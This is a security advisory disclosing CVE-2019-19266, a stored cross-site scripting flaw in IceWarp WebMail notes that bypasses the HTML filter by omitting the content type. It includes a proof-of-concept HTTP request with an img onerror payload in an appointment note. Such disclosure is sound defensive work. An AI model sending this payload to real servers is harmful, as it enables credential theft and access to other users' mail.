Advisory: IceWarp: Cross-Site Scripting in Notes

During a penetration test, RedTeam Pentesting discovered that the
IceWarp WebMail Server is prone to cross-site scripting attacks in notes
for objects. If attackers with access to the IceWarp system provide a
manipulated object that is displayed by users, they can run arbitrary
JavaScript code in the users' browsers.

Details
=======

Product: IceWarp WebMail Server
Affected Versions: IceWarp 12.2.0, 12.1.x, probably earlier as well
Fixed Versions: IceWarp 12.2.1.1
Vulnerability Type: Cross-Site Scripting
Security Risk: high
Vendor URL: https://www.icewarp.com/
Vendor Status: patch available
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-016
Advisory Status: published
CVE: CVE-2019-19266
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19266

Introduction
============

"Secure professional email with own domain and revolutionary integration
with chat. Shared calendars for perfect planning."
(from the vendor's homepage)


More Details
============

Users can create, modify and share appointments in IceWarp with other
users of the web application. Especially noteworthy are the following
two XML Entities in the request to create a new appointment:

------------------------------------------------------------------------
<evndescformat>text/html</evndescformat>
<evnnote><h1;>RedTeam Pentesting</h1;></evnnote>
------------------------------------------------------------------------

These define a note for an appointment. It was found that in notes some
HTML entities were rendered, but some entities and attributes were
filtered. However, the filter only takes effect when the content type of
the note is set to "text/html". When the content type is left out or set
to any other type, the filter is not active, enabling attackers to
circumvent the filter and execute JavaScript in the user's browser. The
same is true for notes attached to other objects, such as files or
tasks.

Just using the calendar module, at least three ways to attack other
IceWarp users are available using cross-site scripting in a note of an
appointment:

 * Inviting other attendees to an appointment
 * Sharing access to an appointment
 * Sending a calendar file as a request via email

Especially for the first variant of attacking an IceWarp user by adding
that user to a manipulated appointment, no user interaction is required
from the attacked user besides opening the IceWarp calendar.

Proof of Concept
================

Create an appointment using an HTTP request similar to the following:

------------------------------------------------------------------------
POST /[...]/webmail/server/webmail.php HTTP/1.1
Host: icewarp.example.com
Content-Type: text/xml

<iq sid="wm-XXXXXXXXXXXXXXXXXXXXXX" type="set">
  <query xmlns="webmail:iq:items">
    <account uid="testuser2@example.com">
      <folder uid="Calendar">
        <item action="add">
          <values>
            <evntitle>Example Appointment</evntitle>
            <meeting_action>0</meeting_action>
            <evnlocation></evnlocation>
            <evntype></evntype>
            <evnsharetype>U</evnsharetype>
            <evndescformat></evndescformat>
            <evnnote><img style="display: none;" src="x" onerror="alert('RedTeam Pentesting')"></evnnote>
            <evnflags>0</evnflags>
            <evntimeformat>Z</evntimeformat>
            <_tzevnstartdate>2458801</_tzevnstartdate>
            <_tzevnenddate>2458801</_tzevnenddate>
            <_tzevnstarttime>660</_tzevnstarttime>
            <_tzevnendtime>690</_tzevnendtime>
            <_tzid>Europe/Amsterdam</_tzid>
            <ctz>60</ctz>
          </values>
        </item>
      </folder>
    </account>
  </query>
</iq>
------------------------------------------------------------------------


Workaround
==========

None known.


Fix
===

Update to IceWarp 12.2.1.1.


Security Risk
=============

Attackers with access to an IceWarp account could give other legitimate
IceWarp users access to manipulated objects. If the attacked user opens
the preview of such an object, for example by just opening the calendar,
a cross-site scripting vulnerability can be exploited. That could, for
example, be used to display a fake login form and get access to the
user's credentials, or to access any data stored in IceWarp such as
emails, contacts, tasks, files or appointments. While this requires an
attacker with access to an IceWarp account, this kind of access could be
gained by exploiting the vulnerability described in rt-sa-2019-15 [1].
This is considered to pose a high risk.


Timeline
========

2019-11-11 Vulnerability identified
2019-11-15 Vendor notified
2019-11-22 Customer approved disclosure
2019-11-25 CVE number requested
2019-11-25 CVE number assigned
2019-12-02 Vendor released fixed version
2019-12-10 Customer approved disclosure
2019-12-13 Fixed version released
2020-01-02 Advisory released


References
==========

[1] https://www.redteam-pentesting.de/advisories/rt-sa-2019-015


RedTeam Pentesting GmbH
=======================

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=============================

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